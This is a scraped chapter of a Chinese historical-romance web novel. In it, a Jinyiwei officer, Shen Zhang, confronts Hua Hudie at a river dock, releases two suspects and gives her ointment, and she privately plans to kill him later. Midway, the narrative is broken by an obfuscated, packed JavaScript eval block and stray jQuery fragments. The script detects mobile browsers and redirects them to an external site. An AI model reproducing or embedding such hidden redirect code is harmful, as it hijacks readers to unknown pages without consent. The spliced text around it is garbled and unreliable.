默认冷灰
24号文字
方正启体

20. 金蟾吞人案(十五)

作者:囡女本书字数:K更新时间:
    带着质问意味的低沉嗓音敲响在耳朵里,花蝴蝶冷不丁打了个颤,受伤的脖颈又隐隐作痛,眼里满是忌惮。


    眼下青灰,瞧着是熬了整夜。


    她紧皱着眉头不肯言语,沈嶂便冷道:“说话。”


    花蝴蝶不由得又打了个冷颤,余光撇见不远处被薛蛮逮住的阿兄,心道不好,沈嶂这般快便来同她算账了。


    眼盲的花奶奶并不知晓周遭发生了什么,年纪上来连听力也不大好使,只是听说话之人的声音有些熟悉,遂慈祥笑道:“可是沈家郎君来了?”


    沈嶂挪眼看花奶奶,察觉到目光的花蝴蝶顿时将心提到了嗓子眼,立即往前迈了半步,将奶奶挡在自己身后。


    沈嶂见状轻扯了下唇角,回了个“是”字,复而睨眼看向她。


    似在等她作何反应。


    花蝴蝶面色凝重,略思索后回道:“还有几日便是端午,我们想回外祖家躲午。”


    随口扯的谎话倒是说得通,端午本就有躲午的习俗,民间认为,五月初五这日是一年中阳气最盛的日子,甚至已达到“毒”的境地,邪祟与毒虫作祟,身子孱弱和阳气不足的都得躲避,常躲的地方便是外祖家中。


    她的老家在阳平,外祖家也在。


    不过需要躲午的通常是稚子和孕妇,或是新婚妇人,细琢磨下便知这话也不是那么通,牵家带口的哪里像是躲午。


    沈嶂直白问道:“是躲午?还是躲人?”


    自己心里没点数吗?花蝴蝶默默咬紧牙关,抬眼时目光相触,虽心跳如擂鼓,却不像起初那般惶恐慌乱。


    沈嶂并没有立即下令缉拿她,许是没有要杀她的打算,但也说不准只是多嘴一问,实在是猜不透他的心思。


    花奶奶这下有些听明白了,就说自家孙女怎忽然生出要回阳平的心思,定是同好友闹不快伤心狠了。


    蝴蝶的脾性她再清楚不过,跟个野猴似的,没什么姑娘家的姿态,也怪她爹娘去得早,又在外头流浪了几年,自己又眼盲心瞎的,没教她为人处事之道。


    也瞧出来沈家郎君为人处事是个不错的,上次来拜访送了好些滋补的补药,眼下又特意来送行,就是不知家世和相貌如何?


    “沈郎君,蝴蝶若有何处得罪你的,你大人有大量,不过我想她定不是故意的,蝴蝶总同我说处处得沈郎君关照,夸沈郎君英姿勃发,人好……”


    花蝴蝶面上陡然一热,忙打断道:“奶奶!”


    沈嶂压睫,看向满脸通红的人。


    “傻丫头,这有什么不好说的?”花奶奶有些着急,继续道:“你不是总夸沈郎君人好又大方,常请你吃饭吗?朋友之间哪有过不去的隔阂?若有何处不小心得罪了,彼此说清楚便好。”


    绯色染面,连带着耳尖都红了个透,花蝴蝶顿时有些无地自容。


    自从同锦衣卫查案,她每次回家都很晚,奶奶便担心她有没有用过饭食,她便将沈嶂请客吃饭的事说了,也没有多说其他,哪成想奶奶竟添油加醋说这么多。


    她可从未说过他人好,还夸他,不咒他几句都是轻的。


    沈嶂垂眸审视着赧然的人,她死死低着头盯自己的脚尖,绣着蝴蝶纹饰的立领中露出一小截后颈,耳后的绯红顺着后颈没入衣领中,从未见过她有这般小女儿家的神情。


    旋即,审视的目光滞住,停留于颈侧半掩着的指痕上片刻,而后默默移开视线,同不远处拦着花立德的薛蛮递了个眼色,薛蛮便松手放人。


    沉重急促的脚步声中,花蝴蝶微侧了侧脸,看见阿兄正朝着自己奔来,头顶又飘来一声肃令。


    “跟过来。”


    沈嶂撂下句话便扯着缰绳调转马头,长腿轻夹了夹马肚,不疾不徐往岸边柳荫去了。


    他一走,锦衣卫缇骑便迅速围拢,只留下条通往柳荫的单人小道,他们脚下的影子叠铺于上。


    细长又黑深,像极了通往地狱的黄泉路,而紧紧围着的缇骑就是阎罗的阴兵。


    “阿兄,你照顾好奶奶,我去去就回。”


    “不行!”花立德厉声阻止,瞥了眼奶奶又不好言明。


    “没事的。”花蝴蝶在他担忧的注视中,将奶奶的手臂递给他,又对奶奶笑道:“奶奶,我先去了。”


    “好好同人家沈郎君说,你们小年轻气性来得快,去得也快,说开就好了。”


    听着叮嘱,花蝴蝶轻“唔”了声,同阿兄点了点头示意放心,便转身从小道走向河岸柳荫处。


    携着水息的河风时而轻拂,万千绿丝绦肆意摇曳,柳树下的人已下马,右手习惯地架着腰间的绣春刀,背身而立看着通惠河。


    花蝴蝶行至他身侧,也沉默着看向河面,近处只有被晃动的柳枝引起的涟漪,眺望远方才能看见几只游船,如黑豆般大小,缓缓移动着。


    两厢无言。


    昨夜才针锋相对过,一时相对真不知该从何说起,心里头的怕劲都没过,花蝴蝶暗自思忖着如何避重就轻谈及,沈嶂却主动开口道:“人,本官放了。”


    这话说得猝不及防,她有些没反应过来,又听得一句,“甄柳二人,本官放了。”


    花蝴蝶闻言怔住。


    沈嶂久久没听着回应,面色不虞看向身旁人,剑眉微蹙问道:“哑巴了?”


    花蝴蝶眼神抖了抖,他不提昨夜的冲突,看样子是想就此掩藏,还是自己这颗棋子更重要些,他才肯松手。


    她仰着头回道:“我只是没想到沈大人会这般做,有些惊着了。”


    谁都不提,是携手继续查聂九郎的唯一法子。


    “如你所愿。”


    他让步了。


    该她了。


    花蝴蝶扯出谄媚的假笑,连忙作揖恭维道:“大人仁善!”


    “仁善……”沈嶂语含讽意轻念着,齿关缓缓相撞似在用力咀嚼着这两个字。


    花蝴蝶想起奶奶说夸他的事,立刻违心奉承道:“如沈大人这般英姿勃发又出类拔萃的人,世间罕有!”


    “再敢说这些,本官便将你丢河里。”


    “……”


    好话不爱听,她还不愿说呢。


    沈嶂看着不断泛起涟漪的水面,低沉的声线夹着冰碴子,“还逃吗?”


    花蝴蝶打哈哈笑着,诚恳回道:“沈大人这话说得,我不过是想带家人躲午。”


    自知这话骗不过,伸手不打笑脸人,又补道:“想来就在京中躲午也成,我奶奶包的粽子可香了,端午那日定拿几个给沈大人尝尝。”


    沈嶂不置可否。


    静默中,花蝴蝶抬袖擦了擦鬓间的冷汗,是方才吓出来的,刚看见锦衣卫声势浩荡围来,真觉得要一命呜呼了,眼下宽心不少。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511666|186127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>沈嶂敛眸看了眼擦汗的人,脸颊与耳尖的红晕还未消退,目光顺着往下又瞧清脖颈的伤,青紫得没半点好肉。


    他出手时并未用多大的力。


    擦汗的花蝴蝶没有察觉对方的视线,又摸了摸还发烫的脸,忽然间,眼前多了只筋肉分明的手。


    圆润的指甲贴着肉修剪得很是干净,指腹有层薄茧,掌心中躺着个胎身青白的小瓷瓶。


    “拿着。”


    她不明所以伸手接过,沈嶂又道:“活血化瘀很有效。”


    “谢大人赐药,”花蝴蝶暗自翻了个白眼,心道装什么,还不都是他弄的,“沈大人平日还带药出门吗?”


    沈嶂回道:“在外难免会受伤,锦衣卫都会随身带些药。”


    整日在刀尖上行走,还真是皇权的好狗。


    花蝴蝶攥紧还有些温热的瓷瓶,出言附和了几句动听话。


    阵阵河风猖獗而起,吹得柳叶飒飒作响,细长的枝条彼此缠绕着作舞。


    待锦衣卫众人离去,河岸码头又喧闹了起来,露着膀子的壮汉一个接一个往漕船上搬运,络绎不绝的行客也登上离京的客船。


    “蝴蝶啊,跟沈家郎君可讲清楚了?”


    “都讲清楚啦。”


    “那便好,这沈郎君也是京中人吗?他今年多大了?可有婚配?”


    “奶奶,那人不是个好东西。”


    “阿兄说得在理。”


    “胡说,我倒觉得人家沈郎君很是不错,比你们两个小鬼头好多了。”


    “哎呀!奶奶……”


    祖孙三人相谈的话语渐渐消失,被风卷着一字不落地带进暗中人的耳中。


    花蝴蝶改道回家,阿兄和奶奶都没多问什么,尤其是奶奶,只说确实懒得折腾去阳平,往年就没回阳平过过端午,今年也该照旧。


    阿兄倒是整日不安得很,望向她的眼神总带着担忧。


    其实没什么好担忧的,她看明白了自己对沈嶂有多重要,只要案子一日未查清,她便是安全的,但案子查清便说不准了,想要安稳,必须趁机杀了他。


    想杀掉他再全然脱身,并非易事,得从长计议。


    “棉线一定要缠紧。”


    奶奶的声音响起,拉回了花蝴蝶的思绪,点头“昂”了声,继续扯紧缠粽子的棉线。


    奶奶拈起两片浸得油绿绿的粽叶,指尖一旋,熟练地卷成个小漏斗。


    虽看不见,却是几十年的老功夫,左手稳稳拖住漏斗,右手朝里头灌雪白的糯米,接着又将蜜枣与红豆摁进去,再覆上层糯米。


    然后将上端的粽叶往下压紧,拇指与食指卡住叶边以防漏米,用棉线缠绕几圈打上活结,最后扯紧,一个有棱有角的粽子便包好了。


    花蝴蝶手忙脚乱地学着,总不得要领,不是这边漏米,便是那边漏米,阿兄就倚在一旁的墙上嘲笑她手笨。


    “阿兄手不笨,怎不来包?”


    “别别别,可饶了我吧!我更包不好!”


    “那你还笑我!”


    听着打闹,花奶奶笑道:“你们俩都要好好学,尤其是蝴蝶,今年需得包出几个像样的来。”


    “怎就尤其是我了?奶奶,你偏心!”


    “可不是我偏心啊,明儿个端午,你给沈家郎君送些亲手包的粽子去。”


    “……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)